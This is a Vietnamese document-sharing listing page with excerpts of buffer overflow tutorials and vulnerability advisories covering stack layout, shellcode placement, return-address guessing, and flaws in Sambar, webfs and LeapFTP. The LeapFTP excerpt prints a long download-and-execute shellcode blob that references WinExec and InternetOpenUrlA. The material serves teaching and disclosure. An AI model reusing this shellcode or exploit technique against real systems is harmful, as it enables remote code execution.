lỗ hổng tràn bộ đệm

Tìm hiểu về tràn bộ đệm

Tìm hiểu về tràn bộ đệm

Ngày tải lên : 23/08/2012, 16:28
... tràn bộ đệm ĐT - Vicki's real fan Lời mở đầu Tràn bộ đệm là một trong những lỗ hỏng bảo mật lớn nhất hiện nay. Vậy tràn bộ đệm là gì? Làm thế nào để thi hành các mã lệnh nguy hiểm qua tràn ... ta có thể thay đổi được địa chỉ trở về, điều này đồng nghĩa với việc chương trình bị tràn bộ đệm. đỉnh của bộ nhớ + + đáy của stack | return addr | + + | EBP cũ | + + | | Công cụ tạo shellcode ... vùng cấm nên Linux đã báo lỗi "Segmentation fault" Shellcode Hình dung các đặt shellcode trên stack Ở ví dụ trước, chúng ta đã biết được nguyên nhân của tràn bộ đệm và cách thay đổi eip....
  • 27
  • 2K
  • 3
Tài liệu tìm hiểu về tràn bộ đệm

Tài liệu tìm hiểu về tràn bộ đệm

Ngày tải lên : 24/08/2012, 08:45
... tràn bộ đệm ĐT - Vicki's real fan Lời mở đầu Tràn bộ đệm là một trong những lỗ hỏng bảo mật lớn nhất hiện nay. Vậy tràn bộ đệm là gì? Làm thế nào để thi hành các mã lệnh nguy hiểm qua tràn ... bộ đệm: đáy của bộ nhớ đỉnh của bộ nhớ < FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF đỉnh của stack đáy của stack S = shellcode A = con trỏ đến shellcode F = các data khác (1) Lắp tràn ... thích: Trước hết, chúng ta cần xác định địa chỉ trở về khi tràn bộ đệm. esp=get_esp(); ret=esp-offset; | | | buf[20] | | | | | đáy của bộ nhớ + + đỉnh của stack Bạn hãy thử: [đt@localhost ~/vicki]$...
  • 27
  • 1.6K
  • 5
Tài liệu về tràn bộ đệm

Tài liệu về tràn bộ đệm

Ngày tải lên : 01/10/2012, 15:35
... tràn bộ đệm ĐT - Vicki's real fan Lời mở đầu Tràn bộ đệm là một trong những lỗ hỏng bảo mật lớn nhất hiện nay. Vậy tràn bộ đệm là gì? Làm thế nào để thi hành các mã lệnh nguy hiểm qua tràn ... bộ đệm: đáy của bộ nhớ đỉnh của bộ nhớ < FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF đỉnh của stack đáy của stack S = shellcode A = con trỏ đến shellcode F = các data khác (1) Lắp tràn ... vùng cấm nên Linux đã báo lỗi "Segmentation fault" Shellcode Hình dung các đặt shellcode trên stack Ở ví dụ trước, chúng ta đã biết được nguyên nhân của tràn bộ đệm và cách thay đổi eip....
  • 27
  • 689
  • 0
KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM (Phần 2)

KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM (Phần 2)

Ngày tải lên : 02/11/2012, 14:18
... thác lỗi tràn bộ đệm Chúng ta đã biết những gì cần thiết để khai thác lỗi tràn bộ đệm, bây giờ cần phải kết hợp lại. Các bước cơ bản của kỹ thuật tràn bộ đệm là: chuẩn bị bộ đệm dùng để làm tràn ... cùng, bộ đệm chứa shellcode sẽ có dạng: Hình 1: Tổ chức shellcode trên bộ nhớ KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM (Phần 2) trang này đã được đọc lần Phần 2: Kỹ thuật khai thác lỗi tràn bộ đệm Mục ... Chương trình bị tràn bộ đệm • 3. Tổ chức shellcode trên bộ nhớ • 4. Xác định địa chỉ shellcode • 5. Viết chương trình khai thác lỗi tràn bộ đệm o 5.1. Truyền shellcode qua bộ đệm o 5.2. Truyền...
  • 10
  • 643
  • 9
KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM

KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM

Ngày tải lên : 02/11/2012, 14:18
... 50 pushl %eax Để tìm hiểu chi tiết về lỗi tràn bộ đệm, cơ chế hoạt động và cách khai thác lỗi ta hãy bắt đầu bằng một ví dụ về chương trình bị tràn bộ đệm. /* vuln.c */ int main(int argc, char ... KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM trang này đã được đọc lần Tóm tắt : Loạt bài viết này trình bày về tràn bộ đệm (buffer overflow) xảy ra trên stack và kỹ thuật khai thác lỗi bảo mật phổ biến ... thuật khai thác lỗi tràn bộ đệm. Giới thiệu kỹ thuật tràn bộ đệm cơ bản, tổ chức shellcode, xác định địa chỉ trả về, địa chỉ shellcode, cách truyền shellcode cho chương trình bị lỗi. Các chi tiết...
  • 29
  • 1.8K
  • 3
Làm tràn bộ đệm bằng 1 byte.

Làm tràn bộ đệm bằng 1 byte.

Ngày tải lên : 02/11/2012, 14:18
... khai thác lỗi tràn bộ đệm, cũng như không dành để giải thích về lỗi này. Nó chỉ để làm rõ rằng có thể khai thác lỗi tràn bộ đệm kể cả trong những điều kiện xấu nhất, chẳng hạn bộ đệm chỉ có ... kỹ thuật này vào lỗi trong thực tế, có một điều chắc chắn đối với chúng ta rằng không có vấn đề bộ đệm bị tràn nhỏ hay lớn cũng như không có chuyện lỗ hổng nhỏ hay lớn. Mọi lỗ hổng đều có thể ... đến tràn bộ đệm một byte trong bài viết này. Mục tiêu tấn công Hãy viết một chương trình suid giả bị lỗi, chúng ta sẽ đặt tên là "suid". Chương trình sẽ được viết sao cho bị tràn bộ đệm...
  • 11
  • 533
  • 1
Lỗi tràn bộ đệm của Server Sambar

Lỗi tràn bộ đệm của Server Sambar

Ngày tải lên : 02/11/2012, 14:18
... sambar có thể thay đổi code va phát triển một module để kiểm tra việc đi lại các file của user và bộ đệm của form transfer ở chế độ POST hay GET. ...
  • 2
  • 368
  • 0
Lỗi tràn bộ đệm file dài trong webfs

Lỗi tràn bộ đệm file dài trong webfs

Ngày tải lên : 02/11/2012, 14:18
... if(strncmp(buf,"250",3)) Lỗi tràn bộ đệm file dài trong webfs trang này đã được đọc lần Webfs ( http://bytesex.org/webfs.html) là một httpd server , lỗi tràn bộ đệm cho phép kẻ tấn công có...
  • 8
  • 455
  • 0
Tràn bộ đệm ở LeapFTP, LeapFTP 2.7.3.600.

Tràn bộ đệm ở LeapFTP, LeapFTP 2.7.3.600.

Ngày tải lên : 02/11/2012, 14:19
... NULL); "\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8B\x55\xA4" "\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xCC\xFF\xD0" "\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6F\x64\x75" "\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2d\x64" "\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x4C\x6F" "\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x74\x08\x5F" "\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63\x08\x5F" "\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x69\x74\x50" "\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2d\x64\x6C\x6C\x08\x49" "\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65" "\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65" "\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65" "\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2d\x65\x78\x65\x08\x68" "\x74\x74\x70\x3A\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93" "\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93" "\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93" "\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93" "\x93\x93\x93\x93\x93\x93\x93\x93\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x25\x49\xE1" "\x77\x90\x90\x90\x90\xFE\x83\x75\xFE\xFF\xFF\xFE\x83\xD5\xFE\xFF\xFF\xFE\x83\x25" "\xFF\xFF\xFF\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x80\xAB\x2F\xFF\xFF\xFF\x03\x80\xAB\x30\xFF\xFF\xFF\x03\x80\xAB\x31\xFF\xFF\xFF" "\x03\x80\xAB\x32\xFF\xFF\xFF\x03\x80\xAB\x33\xFF\xFF\xFF\x03\x80\xAB\x34\xFF\xFF" "\xFF\x03\x80\xAB\x35\xFF\xFF\xFF\x03\x80\xAB\x36\xFF\xFF\xFF\x03\x80\xAB\x37\xFF" "\xFF\xFF\x03\x80\xAB\x38\xFF\xFF\xFF\x03\x80\xAB\x39\xFF\xFF\xFF\x03\x80\xAB\x3A" "\xFF\xFF\xFF\x03\x80\xAB\x3B\xFF\xFF\xFF\x03\x80\xAB\x3C\xFF\xFF\xFF\x03\x80\xAB" "\x3D\xFF\xFF\xFF\x03\x80\xAB\x3E\xFF\xFF\xFF\x03\x80\xAB\x3F\xFF\xFF\xFF\x03\x80" "\xAB\x40\xFF\xFF\xFF\x03\x80\xAB\x41\xFF\xFF\xFF\x03\x80\xAB\x42\xFF\xFF\xFF\x03" "\x80\xAB\x43\xFF\xFF\xFF\x03\x80\xAB\x44\xFF\xFF\xFF\x03\x80\xAB\x45\xFF\xFF\xFF" "\x03\x80\xAB\x46\xFF\xFF\xFF\x03\x80\xAB\x47\xFF\xFF\xFF\x03\x80\xAB\x48\xFF\xFF" "\xFF\x03\x80\xAB\x49\xFF\xFF\xFF\x03\x80\xAB\x4A\xFF\xFF\xFF\x03\x80\xAB\x4B\xFF" "\xFF\xFF\x03\x80\xAB\x4C\xFF\xFF\xFF\x03\x80\xAB\x4D\xFF\xFF\xFF\x03\x80\xAB\x4E" "\xFF\xFF\xFF\x03\x80\xAB\x4F\xFF\xFF\xFF\x03\x80\xAB\x50\xFF\xFF\xFF\x03\x80\xAB" "\x51\xFF\xFF\xFF\x03\x80\xAB\x52\xFF\xFF\xFF\x03\x80\xAB\x53\xFF\xFF\xFF\x03\x80" "\xAB\x54\xFF\xFF\xFF\x03\x80\xAB\x55\xFF\xFF\xFF\x03\x80\xAB\x56\xFF\xFF\xFF\x03" "\x80\xAB\x57\xFF\xFF\xFF\x03\x80\xAB\x58\xFF\xFF\xFF\x03\x80\xAB\x59\xFF\xFF\xFF" "\x03\x80\xAB\x5A\xFF\xFF\xFF\x03\x80\xAB\x5B\xFF\xFF\xFF\x03\x80\xAB\x5C\xFF\xFF" "\xFF\x03\x80\xAB\x5D\xFF\xFF\xFF\x03\x80\xAB\x5E\xFF\xFF\xFF\x03\x80\xAB\x5F\xFF" "\xFF\xFF\x03\x80\xAB\x60\xFF\xFF\xFF\x03\x80\xAB\x61\xFF\xFF\xFF\x03\x80\xAB\x62" "\xFF\xFF\xFF\x03\x80\xAB\x63\xFF\xFF\xFF\x03\x80\xAB\x64\xFF\xFF\xFF\x03\x80\xAB" "\x65\xFF\xFF\xFF\x03\x80\xAB\x66\xFF\xFF\xFF\x03\x80\xAB\x67\xFF\xFF\xFF\x03\x80" "\xAB\x68\xFF\xFF\xFF\x03\x80\xAB\x69\xFF\xFF\xFF\x03\x80\xAB\x6A\xFF\xFF\xFF\x03" "\x80\xAB\x6B\xFF\xFF\xFF\x03\x80\xAB\x6C\xFF\xFF\xFF\x03\x80\xAB\x6D\xFF\xFF\xFF" "\x03\x80\xAB\x6E\xFF\xFF\xFF\x03\x80\xAB\x6F\xFF\xFF\xFF\x03\x80\xAB\x70\xFF\xFF" "\xFF\x03\x80\xAB\x71\xFF\xFF\xFF\x03\x80\xAB\x72\xFF\xFF\xFF\x03\x80\xAB\x73\xFF" "\xFF\xFF\x03\x80\xAB\x74\xFF\xFF\xFF\x03\x80\xAB\x75\xFF\xFF\xFF\x03\x80\xAB\x76" "\xFF\xFF\xFF\x03\x80\xAB\x77\xFF\xFF\xFF\x03\x80\xAB\x78\xFF\xFF\xFF\x03\x80\xAB" "\x79\xFF\xFF\xFF\x03\x80\xAB\x7A\xFF\xFF\xFF\x03\x80\xAB\x7B\xFF\xFF\xFF\x03\x80" Tràn bộ đệm ở LeapFTP, LeapFTP 2.7.3.600 trang này đã được đọc lần */ #include<winsock.h> #include<stdio.h> void...
  • 4
  • 368
  • 0
Tìm hiểu đầy đủ về tràn bộ đệm

Tìm hiểu đầy đủ về tràn bộ đệm

Ngày tải lên : 26/10/2013, 02:20
... value ra khỏi stack đỉnh của bộ nhớ / \ đáy của stack | | | | | | | | | | <- ESP mới = ESP cũ + sizeof(value)(2) | | (1) <- value | <- ESP cũ đáy của bộ nhớ \ / đỉnh của stack 1/...
  • 2
  • 409
  • 0
Viết tràn bộ đệm

Viết tràn bộ đệm

Ngày tải lên : 26/10/2013, 02:20
... 0xbffffaf8 sh-2.04$ Giải thích: Trước hết, chúng ta cần xác định địa chỉ trở về khi tràn bộ đệm. esp=get_esp(); ret=esp-offset; Địa chỉ trở về khi tràn bộ đệm = ESP(địa chỉ bắt đầu của stack) - OFFSET . Tại sao phải ... đầu của mảng large_string[] strcpy(buffer, large_string); //copy large_string vào buffer làm tràn bộ đệm Trước hết chúng ta khởi tạo một mảng large_string[] có kích thước lớn hơn buffer[] trên ... hàm strcpy), nên shellcode sẽ được thi hành, nó sẽ đổ ra một shell lệnh. Ví dụ 2: Để viết tràn bộ đệm, bạn phải biến địa chỉ của buffer trên stack. Thật may cho chúng ta là hầu như tất cả các...
  • 9
  • 350
  • 0
Chương trình bị tràn bộ đệm

Chương trình bị tràn bộ đệm

Ngày tải lên : 01/11/2013, 17:20
... 0x41414141, chương trình sẽ thi hành các lệnh tại 0x41414141, tuy nhiên đây là vùng cấm nên Linux đã báo lỗi "Segmentation fault" ...
  • 3
  • 400
  • 1
Tài liệu Lỗi tràn bộ đệm docx

Tài liệu Lỗi tràn bộ đệm docx

Ngày tải lên : 25/01/2014, 14:20
... Lỗi tràn bộ đệm Trong các lĩnh vực an ninh máy tính và lập trình, một lỗi tràn bộ nhớ đệm hay gọi tắt là lỗi tràn bộ đệm là một lỗi lập trình có thể gây ra một ngoại lệ truy nhập bộ nhớ máy ... ngăn chặn các lỗi tràn bộ đệm. Mô tả kỹ thuật Một lỗi tràn bộ nhớ đệm xảy ra khi dữ liệu được viết vào một bộ nhớ đệm, mà do không kiểm tra biên đầy đủ nên đã ghi đè lên vùng bộ nhớ liền kề ... (Phá bộ nhớ stack cho vui và để thu lợi), đây là một hướng dẫn từng bước cho việc khai thác các lỗ hổng tràn bộ đệm trên stack. Từ đó, ít nhất hai con Sâu Internet đã khai thác lỗi tràn bộ đệm...
  • 9
  • 403
  • 0